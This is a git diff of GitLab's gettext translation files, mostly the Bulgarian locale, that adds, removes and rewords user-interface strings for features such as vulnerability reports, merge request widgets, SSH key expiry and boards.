@@ -37867,6 +38475,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -37876,7 +38487,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -37888,6 +38502,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -37912,9 +38529,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -37927,10 +38550,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38104,7 +38727,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38410,6 +39033,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38422,7 +39048,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38603,7 +39235,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38717,6 +39349,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38990,13 +39625,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39032,6 +39664,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39062,12 +39697,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39119,6 +39760,10 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39167,6 +39812,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39302,9 +39950,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39389,7 +40034,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39455,6 +40100,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39647,6 +40298,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39660,15 +40314,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39678,6 +40326,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39742,9 +40393,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -39839,6 +40487,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -39872,9 +40523,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40044,6 +40692,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40053,6 +40704,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40075,6 +40729,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40111,6 +40768,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40476,21 +41136,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40642,9 +41290,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40673,13 +41318,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40691,6 +41336,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40709,9 +41357,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40754,9 +41399,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -40788,6 +41430,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -40797,12 +41442,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -40837,21 +41488,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -40864,6 +41530,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -40903,9 +41578,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -40936,9 +41608,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -40954,39 +41623,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41145,6 +41805,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41322,9 +41994,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41349,6 +42018,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/bg/gitlab.po b/locale/bg/gitlab.po
index f35090abf69..7c9ff89c518 100644
--- a/locale/bg/gitlab.po
+++ b/locale/bg/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bg\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] "%s Ð¿Ð¾Ð´Ð°Ð²Ð°Ð½Ð¸Ñ Ð±Ñха пропуÑнати, за да не Ñ
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr "ДобавÑне на нова папка"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
